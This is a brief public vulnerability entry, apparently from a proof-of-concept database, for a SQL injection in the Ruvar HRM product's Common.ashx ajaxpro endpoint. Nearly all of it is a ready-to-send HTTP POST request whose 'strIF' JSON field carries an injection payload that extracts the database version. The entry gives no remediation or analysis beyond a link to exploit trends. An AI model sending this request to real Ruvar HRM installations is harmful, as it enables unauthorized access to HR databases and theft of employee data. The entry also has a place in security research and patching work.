Ruvar HRM RuvarHRM.Web.Common.ashx SQL注入漏洞

2025-10-29 ruvar_hrm PoC Public

Description

Ruvar HRM RuvarHRM.Web.Common.ashx SQL注入漏洞

PoC

POST /ajaxpro/RuvarHRM.Web.Common.get_account_by_tree,RuvarHRM.Web.Common.ashx HTTP/1.1
Host: 
Content-Type: application/json
X-Ajaxpro-Method: SearchUsers

{"strIF":"1=1) and 1=@@version--","deptPv":"0","strUserType":"all"}

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities